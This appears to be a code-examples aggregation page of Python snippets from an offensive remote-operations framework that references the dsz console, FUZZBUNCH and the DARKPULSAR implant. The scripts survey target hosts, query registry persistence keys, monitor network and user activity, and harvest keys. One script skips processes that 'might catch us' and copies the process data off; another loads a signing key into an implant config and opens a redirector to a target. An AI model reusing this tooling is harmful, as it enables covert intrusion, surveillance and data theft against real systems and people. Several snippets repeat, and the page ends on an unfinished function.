Exemplo n.º 1
0
def execute(config, sections=None, quiet=False):
    if (not os.path.exists(config)):
        raise RuntimeError, ('%s not found.' % config)
    if (sections is None):
        sections = ops.survey.DEFAULT_SECTIONS
    ops.env.set('OPS_SIMPLE', False)
    ops.survey.setupEnv()
    success = True
    try:
        for i in sections:
            bugcatcher((
                lambda: ops.survey.engines.run(fullpath=config, sections=[i])),
                       bug_critical=True)
    except Exception as e:
        if wasCaught(e):
            success = False
        elif userQuitScript(e):
            ops.error('User quit script.')
            success = False
        else:
            raise
    print()
    ops.env.set('OPS_SIMPLE', True)
    if (not quiet):
        ops.info('Commands currently running in the background:')
        ops.override.commands.main()
    if (not success):
        sys.exit((-1))
Exemplo n.º 2
0
def main():
    parser = ArgumentParser(prog='paperfind', description='\nProvides grep-like functionality for the \'handles\' command.\n\nRelative paths will (probably) never match. Use absolute or partial\npaths as though you are grepping. For full featured pattern matching,\nconsider the --regex option.\n\nIf the pattern you\'re searching for starts with a "-" character, place\na "-" by itself before beginning the pattern.\n\n e.g. %(prog)s -any - -filethatstartswithadash\n  or  %(prog)s - -filethatstartswithadash -any\n')
    parser.add_argument('pattern', help='Pattern or regular expression.')
    parser.add_argument('--regex', dest='regex', action='store_true', help='Treat the input pattern as a user-supplied regular expression instead of a simple string pattern.')
    parser.add_argument('--any', dest='any', action='store_true', default=False, help='Search all handle types instead of only file handles.')
    parser.add_argument('--data', dest='data_age', metavar='AGE', type=delta, default=datetime.timedelta(minutes=10), help='How old cached data can be before re-querying target. Use #d#h#m#s format. (Default 10m if unspecified).')
    handles_group = parser.add_argument_group(title='handles', description='Options that control how the handles command is run.')
    handles_group.add_argument('--id', dest='id', type=int10or16, help='Limit returned handle search to a particular process ID.')
    handles_group.add_argument('--all', dest='all', action='store_true', default=False, help='Search all available handle information. (Not recommended with this script; provides no benefit)')
    handles_group.add_argument('--memory', dest='memory', type=int10or16, help='Number of bytes to use for open handle list (defaults to handles default).')
    options = parser.parse_args()
    if options.regex:
        ops.info(('Searching using regex: %s' % options.pattern))
    else:
        ops.info(('Searching for "%s"...' % options.pattern))
    found = ops.system.handles.grep_handles(pattern=ntpath.normpath(options.pattern), id=options.id, all=options.all, memory=options.memory, regex=options.regex, any=options.any, maxage=options.data_age)
    if (int is type(found)):
        ops.error(('Error running handles command. Check logs for command ID %d.' % found))
        sys.exit((-1))
    elif (found is None):
        ops.error('Error running handles; command may not have been attempted.')
        sys.exit((-1))
    elif (not found):
        ops.warn('No matches.')
        sys.exit((-1))
    elif options.any:
        pprint(found, header=['PID', 'Handle', 'Type', 'Full Path'], dictorder=['process', 'handle', 'type', 'name'])
    else:
        pprint(found, header=['PID', 'Handle', 'Full Path'], dictorder=['process', 'handle', 'name'])
Exemplo n.º 3
0
def main():
    flags = dsz.control.Method()
    ops.preload('registryquery')
    ops.info('Registry checks')
    dsz.control.echo.On()
    dsz.cmd.Run(
        'registryquery -hive L -key "SYSTEM\\currentcontrolset\\services\\tcpip\\parameters\\winsock" -value HelperDLLName'
    )
    dsz.cmd.Run(
        'registryquery -hive L -key "software\\microsoft\\windows nt\\currentversion\\\\windows" -value AppInit_Dlls'
    )
    dsz.cmd.Run(
        'registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\run"'
    )
    dsz.cmd.Run(
        'registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\runonce"'
    )
    dsz.cmd.Run(
        'registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\runonceex"'
    )
    dsz.control.echo.Off()
    ops.info('Querying winlogon and processor keys in the background.')
    dsz.cmd.Run(
        'background registryquery -hive L -key "software\\microsoft\\windows nt\\currentversion\\winlogon"'
    )
    dsz.cmd.Run(
        'background registryquery -hive L -key "HARDWARE\\DESCRIPTION\\System\\CentralProcessor" -recursive'
    )
Exemplo n.º 4
0
def main():
    ops.info('Fetching installed applications')
    apps = packages(filterUpdates=True)
    if (not apps):
        ops.error('Error pulling installed applications.')
    else:
        pprint(apps, header=['Name', 'Version', 'Description', 'Install Date'], dictorder=['name', 'version', 'description', 'install_date'])
        print()
Exemplo n.º 5
0
def start_netmon():
    cmd = ops.cmd.getDszCommand('netconnections -monitor')
    start_monitor(cmd,
                  mon_display=False,
                  cache_tag=ops.networking.connections.NETSTAT_MONITOR_TAG,
                  save_delay=15,
                  cache_size=1,
                  use_volatile=True)
    ops.info('Netconnections monitor started (or already running)')
Exemplo n.º 6
0
def start_activitymon():
    cmd = ops.cmd.getDszCommand('activity -monitor')
    start_monitor(cmd,
                  mon_display=True,
                  cache_tag='OPS_ACTIVITY_MONITOR',
                  save_delay=15,
                  cache_size=1,
                  use_volatile=True)
    ops.info('Activity monitor started (or already running)')
Exemplo n.º 7
0
def start_arpmon():
    cmd = ops.cmd.getDszCommand('arp -monitor -delay 10s')
    start_monitor(cmd,
                  mon_display=False,
                  cache_tag=ops.networking.connections.ARP_MONITOR_TAG,
                  save_delay=15,
                  cache_size=1,
                  use_volatile=True)
    ops.info('Arp monitor started (or already running)')
Exemplo n.º 8
0
def main(args):
    if ((args.keyfile is None) or (args.target is None)):
        ops.error(
            'You must provide a keyfile and a target IP, please try again with -k and -t'
        )
        return
    confxml = ElementTree()
    configxmlfilename = os.path.join(dsz.lp.GetResourcesDirectory(), '..',
                                     'implants', 'Darkpulsar-1.0.0.0.xml')
    confxml.parse(configxmlfilename)
    f = open(args.keyfile)
    try:
        newkey = f.read()
    except Exception as ex:
        ops.error('Error reading keyfile')
        raise ex
    finally:
        f.close()
    for ele in confxml.findall('{urn:trch}inputparameters'):
        for subele in ele.findall('{urn:trch}parameter'):
            if (subele.get('name') == 'SigPrivateKey'):
                for keyele in subele.findall('{urn:trch}default'):
                    keyele.text = newkey
    outfile = open(configxmlfilename, 'w')
    try:
        confxml.write(outfile)
    except Exception as ex:
        ops.error('Could not update the FUZZBUNCH config for DAPU')
        raise ex
    finally:
        outfile.close()
    redirport = 0
    dsz.control.echo.Off()
    (success, cmdid) = dsz.cmd.RunEx('local netconnections',
                                     dsz.RUN_FLAG_RECORD)
    dsz.control.echo.On()
    print cmdid
    conns = ops.data.getDszObject(
        cmdid=cmdid).initialconnectionlistitem.connectionitem
    while (redirport == 0):
        redirport = random.randint(10000, 65500)
        for conn in conns:
            if (conn.local.port == redirport):
                redirport = 0
                break
    dsz.cmd.Run(('redirect -tcp -lplisten %d -target %s %s' %
                 (redirport, args.target, args.port)))
    ops.info((
        'Your redirector has been started, local listening port to connect for DAPU is %d'
        % redirport))
    ops.info(
        'You can now start FUZZBUNCH to connect to DARKPULSAR.  If you already launched FUZZBUNCH, you will need to start it again'
    )
Exemplo n.º 9
0
def main():
    if (len(sys.argv) < 2):
        return ops.error('You need to supply a command to run.')
    cmd = ''
    for i in sys.argv[1:]:
        cmd += (i + ' ')
    ops.info(('Timing the run time of "%s" (Note: no preloading occurs by the timer)' % cmd))
    start = time.clock()
    if (not dsz.cmd.Run(cmd)):
        ops.warn('Command did not execute correctly. Your run time may be useless.')
    end = time.clock()
    ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
Exemplo n.º 10
0
def pulist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('performance', dszuser=ops.cmd.CURRENT_USER, data='Process', bare=True, target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error('Command did not execute, possibly the result of a malformed command line.')
            ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT)
        else:
            ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
    if (not result.performance.object):
        ops.error(('Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.' % result.cmdid))
    regex = re.compile('.+\\....$')
    table = []
    echo = []
    uptime = None
    for instance in result.performance.object[0].instance:
        if (regex.match(instance.name) is None):
            proc = (instance.name + '.exe')
        else:
            proc = instance.name
        for c in instance.counter:
            if (c.name == '784'):
                pid = int(c.value)
            elif (c.name == '1410'):
                ppid = int(c.value)
            elif (c.name == '684'):
                runtime = datetime.timedelta(microseconds=((result.performance.perfTime100nSec - int(c.value)) // 10))
        if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or (((pid == 4) or (pid == 8)) and (instance.name == 'System'))):
            [code, comment] = [dsz.DEFAULT, ('System Idle Counter' if (instance.name == 'Idle') else 'System Kernel')]
        elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total') and (runtime == datetime.timedelta(microseconds=0))):
            continue
        else:
            [code, comment] = check_process(proc)
        table.append({'Process': instance.name, 'PID': pid, 'PPID': ppid, 'Comment': comment, 'Elapsed Time': runtime})
        echo.append(code)
    pprint(table, dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'], echocodes=echo)
    del flags
    return result
Exemplo n.º 11
0
def main():
    if (ops.TARGET_ADDR == 'z0.0.0.1'):
        ops.warn('Problems can only be reported from target sessions.  If you have no more target sessions, please complain about the problem through other means')
        sys.exit((-1))
    toolName = sys.argv[1]
    if (not dsz.env.Check('OPS_USERID')):
        idnum = dsz.ui.GetInt('Please enter your ID')
        dsz.env.Set('OPS_USERID', str(idnum), 0, '')
    idnum = dsz.env.Get('OPS_USERID')
    problemText = ' '.join(sys.argv[2:])
    dszLogger = DSZPyLogger()
    toolLog = dszLogger.getLogger(toolName)
    toolLog.log(21, ((idnum + ':') + problemText))
    ops.info('Your problem has been logged and will be reported when you are done')
Exemplo n.º 12
0
def main():
    flags = dsz.control.Method()
    ops.preload('registryquery')
    ops.info('Registry checks')
    dsz.control.echo.On()
    dsz.cmd.Run('registryquery -hive L -key "SYSTEM\\currentcontrolset\\services\\tcpip\\parameters\\winsock" -value HelperDLLName')
    dsz.cmd.Run('registryquery -hive L -key "software\\microsoft\\windows nt\\currentversion\\\\windows" -value AppInit_Dlls')
    dsz.cmd.Run('registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\run"')
    dsz.cmd.Run('registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\runonce"')
    dsz.cmd.Run('registryquery -hive L -key "software\\microsoft\\windows\\currentversion\\runonceex"')
    dsz.control.echo.Off()
    ops.info('Querying winlogon and processor keys in the background.')
    dsz.cmd.Run('background registryquery -hive L -key "software\\microsoft\\windows nt\\currentversion\\winlogon"')
    dsz.cmd.Run('background registryquery -hive L -key "HARDWARE\\DESCRIPTION\\System\\CentralProcessor" -recursive')
Exemplo n.º 13
0
def plugin_launcher(module,
                    name=None,
                    prompt=True,
                    bg=False,
                    resource=None,
                    pyscripts=False,
                    run_name=ops.survey.PLUGIN,
                    args=None,
                    marker=None,
                    nobugs=False):
    if (prompt and (not dsz.ui.Prompt(
        (('Do you want to run "%s"?' % name) if name else module)))):
        return (None, None)
    if bg:
        control_flags = dsz.control.Method()
        dsz.control.echo.Off()
        cmd = ('--module ' + module)
        if name:
            cmd += (' --name "%s"' % name)
        if marker:
            cmd += (' --marker "%s"' % marker)
        if resource:
            cmd += (' --resource "%s"' % resource)
        if pyscripts:
            cmd += ' --pyscripts'
        if (run_name != ops.survey.PLUGIN):
            cmd += (' --run_name "%s"' % run_name)
        if args:
            cmd += (' - ' + args)
        cmd = ('background python survey/launcher.py -project Ops -args "%s"' %
               cmd.replace('"', '\\"'))
        (ret, cmdid) = dsz.cmd.RunEx(cmd)
        if ret:
            ops.info(('%s started in the background as command ID %d.' %
                      ((name if name else module), cmdid)))
        del control_flags
        return (ret, cmdid)
    saved_argv = sys.argv
    if args:
        sys.argv = util.make_sys_argv(module, args)
    else:
        sys.argv = [module]
    try:
        (success, ret) = bugcatcher((lambda: runpy.run_module(
            module, run_name=run_name, alter_sys=True)),
                                    bug_critical=nobugs)
    finally:
        sys.argv = saved_argv
    return (success, ret)
Exemplo n.º 14
0
def override(path, sections=DEFAULT_SECTIONS):
    realpath = os.path.join(ops.RESDIR, os.path.normpath(path))
    if (not os.path.exists(realpath)):
        ops.error(('"%s" does not exist; override not enabled.' % realpath))
        return False
    before = ops.env.get(ops.survey.OVERRIDE, addr='')
    if sections:
        new = ('%s:%s' % (path, sections))
    else:
        new = path
    ops.env.set(ops.survey.OVERRIDE, new, addr='')
    ops.info('Override set.')
    print(('Before: %s' % before))
    print(('After : %s' % new))
    return True
Exemplo n.º 15
0
def override(path, sections=DEFAULT_SECTIONS):
    realpath = os.path.join(ops.RESDIR, os.path.normpath(path))
    if (not os.path.exists(realpath)):
        ops.error(('"%s" does not exist; override not enabled.' % realpath))
        return False
    before = ops.env.get(ops.survey.OVERRIDE, addr='')
    if sections:
        new = ('%s:%s' % (path, sections))
    else:
        new = path
    ops.env.set(ops.survey.OVERRIDE, new, addr='')
    ops.info('Override set.')
    print(('Before: %s' % before))
    print(('After : %s' % new))
    return True
Exemplo n.º 16
0
def main():
    if (len(sys.argv) < 2):
        return ops.error('You need to supply a command to run.')
    cmd = ''
    for i in sys.argv[1:]:
        cmd += (i + ' ')
    ops.info((
        'Timing the run time of "%s" (Note: no preloading occurs by the timer)'
        % cmd))
    start = time.clock()
    if (not dsz.cmd.Run(cmd)):
        ops.warn(
            'Command did not execute correctly. Your run time may be useless.')
    end = time.clock()
    ops.info(('Run time: %s' % datetime.timedelta(seconds=int((end - start)))))
Exemplo n.º 17
0
def main():
    if (ops.TARGET_ADDR == 'z0.0.0.1'):
        ops.warn(
            'Problems can only be reported from target sessions.  If you have no more target sessions, please complain about the problem through other means'
        )
        sys.exit((-1))
    toolName = sys.argv[1]
    if (not dsz.env.Check('OPS_USERID')):
        idnum = dsz.ui.GetInt('Please enter your ID')
        dsz.env.Set('OPS_USERID', str(idnum), 0, '')
    idnum = dsz.env.Get('OPS_USERID')
    problemText = ' '.join(sys.argv[2:])
    dszLogger = DSZPyLogger()
    toolLog = dszLogger.getLogger(toolName)
    toolLog.log(21, ((idnum + ':') + problemText))
    ops.info(
        'Your problem has been logged and will be reported when you are done')
Exemplo n.º 18
0
def main():
    last_run = ops.marker.get('GRABKEYS')['last_date']
    if ((datetime.datetime.now() - last_run) <= RUN_PERIOD):
        ops.info(('grabKeys was run in the last %s, not running again' % str(RUN_PERIOD)))
        return
    answer = dsz.ui.Prompt(('Do you want to run grabKeys?  Last run was %s' % last_run))
    if (not answer):
        return
    masks = getMaskList()
    for mask in masks:
        try:
            getKeys(mask, last_run)
        except:
            ops.error(('Failed to get keys with mask "%s"' % mask))
            traceback.print_exc()
    ops.info('All masks completed or at least attempted, marking grabKeys done')
    ops.marker.set('GRABKEYS')
Exemplo n.º 19
0
def main():
    parser = OptionParser()
    parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of scheduler information to use before re-running query commands', type='int')
    (options, args) = parser.parse_args()
    ops.survey.print_header('Scheduler survey')
    schedulers = ops.system.scheduler.get_all_schedulers_local(maxage=datetime.timedelta(seconds=options.maxage))
    (windir, sysdir) = dsz.path.windows.GetSystemPaths()
    tasklist = ops.files.dirs.get_dirlisting(os.path.join(windir, 'Tasks'), cache_tag='TASKS_FOLDER_DIR', recursive=True)
    if (tasklist.commandmetadata.status != 0):
        ops.warn("Could not query Tasks folder. Look at the following value from the registry and decide if you want to try dir'ing it yourself.")
        regval = ops.cmd.quickrun('registryquery -hive L -key "Software\\Microsoft\\SchedulingAgent" -value TasksFolder')
        ops.info(('Tasks folder should be %s' % regval.key[0].value[0]))
        ops.pause()
    displays = list()
    dataage = datetime.timedelta(seconds=0)
    if ('at' in schedulers):
        dataage = schedulers['at'].dszobjage
        for job in schedulers['at'].atjob:
            freqstring = ''
            if (job.frequency == 'Today'):
                freqstring = ('Today at %s' % job.time)
            elif ((job.frequency == 'Each') or (job.frequency == 'Next')):
                freqstring = ('%s %s%s at %s' % (job.frequency, job.weekday, job.month, job.time))
            else:
                freqstring = 'Could not interpret data, check the job manually'
            displays.append({'source': 'AT', 'jobname': job.id, 'nextrun': freqstring, 'command': job.commandtext, 'triggers': '', 'runas': 'SYSTEM'})
    if ('gui' in schedulers):
        dataage = schedulers['gui'].dszobjage
        for job in schedulers['gui'].netjob:
            displays.append({'source': 'GUI', 'jobname': job.jobname, 'nextrun': ('%s %s' % (job.nextrundate, job.nextruntime)), 'command': ('%s %s' % (job.application, job.parameters)), 'triggers': job.trigger.triggerstring, 'runas': job.account})
    if ('service' in schedulers):
        dataage = schedulers['service'].dszobjage
        for folder in schedulers['service'].folder:
            for job in filter((lambda x: (not x.disabled)), folder.job):
                for action in job.action:
                    freqstring = ', '.join(map((lambda x: ('%s %s %s' % (x.type, x.startboundary, x.endboundary))), job.trigger))
                    if (action.type.lower() == 'exec'):
                        actionstring = ('%s %s (runs in "%s")' % (action.execjob.path, action.execjob.arguments, action.execjob.workingdir))
                    else:
                        actionstring = ('COM job ClassID and data: %s - %s' % (action.com.classid, action.com.data))
                    displays.append({'source': 'SERVICE', 'jobname': ('%s\\%s' % (folder.name, job.name)), 'nextrun': freqstring, 'command': actionstring, 'triggers': freqstring, 'runas': ('%s %s' % (job.principal.userid, job.principal.runlevel))})
    ops.survey.print_agestring(dataage)
    pprint(displays, dictorder=['source', 'command', 'nextrun', 'triggers', 'runas', 'jobname'], header=['source', 'command', 'nextrun', 'triggers', 'runas', 'jobname'])
Exemplo n.º 20
0
def main(args):
    if ((args.keyfile is None) or (args.target is None)):
        ops.error('You must provide a keyfile and a target IP, please try again with -k and -t')
        return
    confxml = ElementTree()
    configxmlfilename = os.path.join(dsz.lp.GetResourcesDirectory(), '..', 'implants', 'Darkpulsar-1.0.0.0.xml')
    confxml.parse(configxmlfilename)
    f = open(args.keyfile)
    try:
        newkey = f.read()
    except Exception as ex:
        ops.error('Error reading keyfile')
        raise ex
    finally:
        f.close()
    for ele in confxml.findall('{urn:trch}inputparameters'):
        for subele in ele.findall('{urn:trch}parameter'):
            if (subele.get('name') == 'SigPrivateKey'):
                for keyele in subele.findall('{urn:trch}default'):
                    keyele.text = newkey
    outfile = open(configxmlfilename, 'w')
    try:
        confxml.write(outfile)
    except Exception as ex:
        ops.error('Could not update the FUZZBUNCH config for DAPU')
        raise ex
    finally:
        outfile.close()
    redirport = 0
    dsz.control.echo.Off()
    (success, cmdid) = dsz.cmd.RunEx('local netconnections', dsz.RUN_FLAG_RECORD)
    dsz.control.echo.On()
    print cmdid
    conns = ops.data.getDszObject(cmdid=cmdid).initialconnectionlistitem.connectionitem
    while (redirport == 0):
        redirport = random.randint(10000, 65500)
        for conn in conns:
            if (conn.local.port == redirport):
                redirport = 0
                break
    dsz.cmd.Run(('redirect -tcp -lplisten %d -target %s %s' % (redirport, args.target, args.port)))
    ops.info(('Your redirector has been started, local listening port to connect for DAPU is %d' % redirport))
    ops.info('You can now start FUZZBUNCH to connect to DARKPULSAR.  If you already launched FUZZBUNCH, you will need to start it again')
Exemplo n.º 21
0
def monitorlogs(interval=300, classic=False, logname='', target=None, filters=[]):
    logquerycmd = 'eventlogquery '
    if classic:
        logquerycmd += ' -classic '
    elif (logname != ''):
        logquerycmd += (' -log %s ' % logname)
    if target:
        logquerycmd += (' -target %s ' % target)
    z = dsz.control.Method()
    dsz.control.echo.Off()
    (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD)
    logsbase = ops.data.getDszObject(cmdid=cmdid).eventlog
    try:
        while True:
            dsz.Sleep((interval * 1000))
            (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD)
            stamp = dsz.Timestamp()
            newlogs = ops.data.getDszObject(cmdid=cmdid).eventlog
            for i in range(len(newlogs)):
                (oldlog, newlog) = (logsbase[i], newlogs[i])
                if (newlog.mostrecentrecordnum > oldlog.mostrecentrecordnum):
                    dsz.control.echo.Off()
                    ops.info(('New logs in %s as of %s' % (oldlog.name, stamp)))
                    try:
                        newrecs = recordquery(logname=oldlog.name, start=(oldlog.mostrecentrecordnum + 1), end=newlog.mostrecentrecordnum, target=target)
                    except:
                        ops.error(('Error getting records for log %s' % oldlog.name))
                        traceback.print_exc(sys.exc_info())
                        continue
                    if (not newrecs):
                        ops.error(('Error getting records for log %s' % oldlog.name))
                        continue
                    if (len(newrecs) > 0):
                        ops.info(('-----------------New logs in %s-------------------' % oldlog.name))
                    for newrec in newrecs:
                        print ('%d: %d - %s %s' % (newrec.number, newrec.id, newrec.datewritten, newrec.timewritten))
                        print ('User: %s --- Computer: %s' % (newrec.user, newrec.computer))
                        print ('Source: %s' % newrec.source)
                        print ('Type: %s' % newrec.eventtype)
                        stringslist = ''
                        for strval in newrec.string:
                            stringslist += (strval.value + ', ')
                        print ('Strings: %s' % stringslist)
                        print '---------------------------------------------------------'
            logsbase = newlogs
    except RuntimeError as ex:
        if (ex.args[0] == 'User QUIT SCRIPT'):
            ops.info('You quit monitoring')
            return
    except KeyboardInterrupt:
        ops.info('You hit Ctrl-D, which means you want to stop monitoring logs, so I am stopping')
        return
Exemplo n.º 22
0
def _dohour(mask='*', path='*', age='1h', recursive=True, safe=False, nodiff=False, noquiet=False, fromtime=None):
    dircmd = ops.cmd.getDszCommand('dir', mask=mask, path=path, recursive=recursive)
    if ((not safe) and (fromtime is None)):
        dircmd.age = ops.timehelper.get_age_from_seconds(ops.timehelper.get_seconds_from_age(age.lower()))
    elif safe:
        (dircmd.after, dircmd.before) = _getsafeword(age.lower())
    elif (fromtime is not None):
        (dircmd.after, dircmd.before) = _getrangeword(age.lower(), fromtime)
    dircmd.norecord = nodiff
    dircmd.dszquiet = (not noquiet)
    ops.info(('Running %s' % dircmd))
    dirobj = dircmd.execute()
    if (not dircmd.success):
        ops.error('=== Dir failed with following errors ===')
        for error in dirobj.commandmetadata.friendlyerrors[(-1)]:
            ops.error(error)
        return False
    if (not nodiff):
        return dirobj
    else:
        return True
def main():
    from globalconfig import config
    import sendfile
    bad = []
    with open(BAD_PROCS) as input:
        for i in input:
            bad.append(i.strip().lower())
    procs = ops.processes.processlist.get_processlist()
    for proc in procs:
        if (proc.name.lower().strip() in bad):
            ops.warn(('Skipping PID %d (%s), something might catch us.' % (proc.id, proc.name)))
            continue
        elif ((proc.name == '') or (proc.name == 'System') or (proc.id == 0)):
            ops.info(('Skipping PID %d (%s)' % (proc.id, proc.name)))
            continue
        else:
            procinfo_cmd = ops.cmd.getDszCommand('processinfo', id=proc.id)
            procinfo_cmd.execute()
            if (procinfo_cmd.success != 1):
                ops.error(('Could not query process info for PID %d (%s)' % (proc.id, proc.name)))
            else:
                ops.info(('Got processinfo for PID %d (%s)' % (proc.id, proc.name)))
    ops.info('Copying up to FresStep...')
    xmldir = os.path.normpath(('%s/Data' % ops.LOGDIR))
    files = util.listdir(xmldir, '.*processinfo.*\\.xml')
    tmpdir = os.path.join(config['paths']['tmp'], ('freshstep_%s_%s' % (ops.PROJECT, ops.TARGET_IP)))
    os.makedirs(tmpdir)
    ops.info(('Local temporary working directory: %s' % tmpdir))
    for i in files:
        shutil.copy(os.path.normpath(('%s/%s' % (xmldir, i))), tmpdir)
        os.chmod((os.path.normpath('%s/%s') % (tmpdir, i)), (stat.S_IREAD | stat.S_IWRITE))
    try:
        sendfile.main(tmpdir)
    except:
        import traceback
        traceback.print_exc()
        ops.error('Failed to copy fast.')
    shutil.rmtree(tmpdir)
    ops.info('Removed temporary files.')
    ops.cmd.quickrun(('warn \\"ProcessDeep completed for %s\\"' % ops.TARGET_ADDR))
Exemplo n.º 24
0
def main(mask='*', path='*', age='1h', recursive=True, restart=False, safe=False, noquiet=False, fromtime=None):
    if (not os.path.exists(os.path.join(ops.TARGET_TEMP, 'hour.txt'))):
        output = ('Recording initial data, running "dir -mask %s -path %s -age %s' % (mask, path, age))
        if recursive:
            output += ' -recursive'
        output += '"'
        ops.info(output)
        dirres = _dohour(mask=mask, path=path, age=age, recursive=recursive, safe=safe, noquiet=noquiet, fromtime=fromtime)
        if (dirres is False):
            return False
        diffs = _filterfilesbyname(dirres)
        _recordstate(dirres, os.path.join(os.path.join(ops.TARGET_TEMP, 'hour.txt')), restart)
    else:
        ops.info(('Running differential check going back %s' % age))
        dirres = _dohour(mask=mask, path=path, age=age, recursive=recursive, safe=safe, noquiet=noquiet, fromtime=fromtime)
        if (dirres is False):
            return False
        diffs = _dodiff(dirres, os.path.join(os.path.join(ops.TARGET_TEMP, 'hour.txt')))
        _recordstate(dirres, os.path.join(os.path.join(ops.TARGET_TEMP, 'hour.txt')), restart)
    diffnames = []
    for modfile in diffs:
        prettyfiletime = modfile.filetimes.modified.time[0:19].replace('T', ' ')
        if modfile.attributes.directory:
            diffnames.append({'Path': modfile.dszparent.path, 'Name': modfile.name, 'Size': '<DIR>', 'Modtime': prettyfiletime})
        else:
            diffnames.append({'Path': modfile.dszparent.path, 'Name': modfile.name, 'Size': modfile.size, 'Modtime': prettyfiletime})
    if (len(diffnames) > 0):
        ops.pprint.pprint(diffnames, header=['Modtime', 'Size', 'Path', 'Name'], dictorder=['Modtime', 'Size', 'Path', 'Name'])
    else:
        ops.info('No changes detected')
Exemplo n.º 25
0
def emkg_plist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes', dszuser=ops.cmd.CURRENT_USER, list=True, target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error('Command did not execute, possibly the result of a malformed command line.')
            ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT)
        else:
            ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
    table = []
    echo = []
    for processitem in result.initialprocesslistitem.processitem:
        if ((processitem.id == 0) and (processitem.parentid == 0)):
            name = 'System Idle Process'
        else:
            name = processitem.name
        [code, comment] = check_process(name)
        table.append({'Path': processitem.path, 'Process': name, 'PID': processitem.id, 'PPID': processitem.parentid, 'Created': ('' if ((processitem.name == 'System') or (processitem.name == 'System Idle Process')) else ('%s %s %s' % (processitem.created.date, processitem.created.time, processitem.created.type.upper()))), 'Comment': comment, 'User': processitem.user})
        echo.append(code)
    if ((ip is None) or (ip == '127.0.0.1')):
        pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'User', 'Comment'], echocodes=echo)
    else:
        pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'], echocodes=echo)
    del flags
    return result
Exemplo n.º 26
0
def main():
    usage = 'Usage: python windows\\vget.py -args "-F [Full Path to File] -p [path to file] -m [mask] Optional: -t [bytes] -hex -nosend"\n\nOptions:\n-t [bytes] : grab last x bytes of file (tail)\n-nosend : move file to nosend dir\n-hex : open file in hex editor\n\nEx. python windows\\vget.py -args "-m connections.log -p C:\\Documents and Settings\\user\\logs -t 10000 -nosend"\nEx. python windows\\vget.py -args "-F C:\\Documents and Settings\\user\\logs\\connections.log -t 10000 -nosend -hex"'
    parser = ArgumentParser(usage=usage)
    parser.add_argument('-p', dest='path', nargs='+', action='store', default=False)
    parser.add_argument('-m', dest='mask', action='store', default=False)
    parser.add_argument('-F', dest='full_path', nargs='+', action='store', default=False)
    parser.add_argument('-t', dest='tail', type=int, action='store', default=False)
    parser.add_argument('--nosend', dest='nosend', action='store_true', default=False)
    parser.add_argument('--hex', dest='hex', action='store_true', default=False)
    options = parser.parse_args()
    if (len(sys.argv) == 1):
        print usage
        sys.exit(0)
    if (options.full_path == options.mask == False):
        ops.warn('No mask or full path specified! Need one or the other to execute.')
        sys.exit(0)
    mask = options.mask
    tail = options.tail
    nosend = options.nosend
    hex = options.hex
    getCmd = ops.cmd.getDszCommand('get')
    if options.full_path:
        full_path = ' '.join(options.full_path)
        getCmd.arglist.append(('"%s"' % full_path))
    else:
        if options.path:
            path = ' '.join(options.path)
            getCmd.optdict['path'] = ('"%s"' % path)
        getCmd.optdict['mask'] = mask
    if tail:
        getCmd.arglist.append(('-tail %s' % tail))
    getCmd.dszquiet = False
    getCmd.execute()
    getResult = getCmd.result
    id = getResult.cmdid
    for n in getResult.filestop:
        if (n.successful != 1):
            ops.error(('Get Failed; see cmdid %s or above output for more info' % id))
            sys.exit(0)
    localName = ''
    for n in getResult.filelocalname:
        localName = n.localname
    fullLocalPath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles', localName)
    if (nosend == True):
        movePath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles\\NoSend', localName)
        moveCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c move %s %s"' % (fullLocalPath, movePath)))
        moveCmd.execute()
        fullLocalPath = movePath
        ops.info(('File moved to %s' % movePath))
    if (hex == False):
        ops.info('Opening file with notepad++')
        showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\progra~1\\notepad++\\notepad++.exe %s"' % fullLocalPath))
    else:
        ops.info('Opening file with hex editor')
        showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\Progra~1\\BreakP~1\\HexWor~1.2\\hworks32.exe %s"' % fullLocalPath))
    showCmd.execute()
Exemplo n.º 27
0
def main():
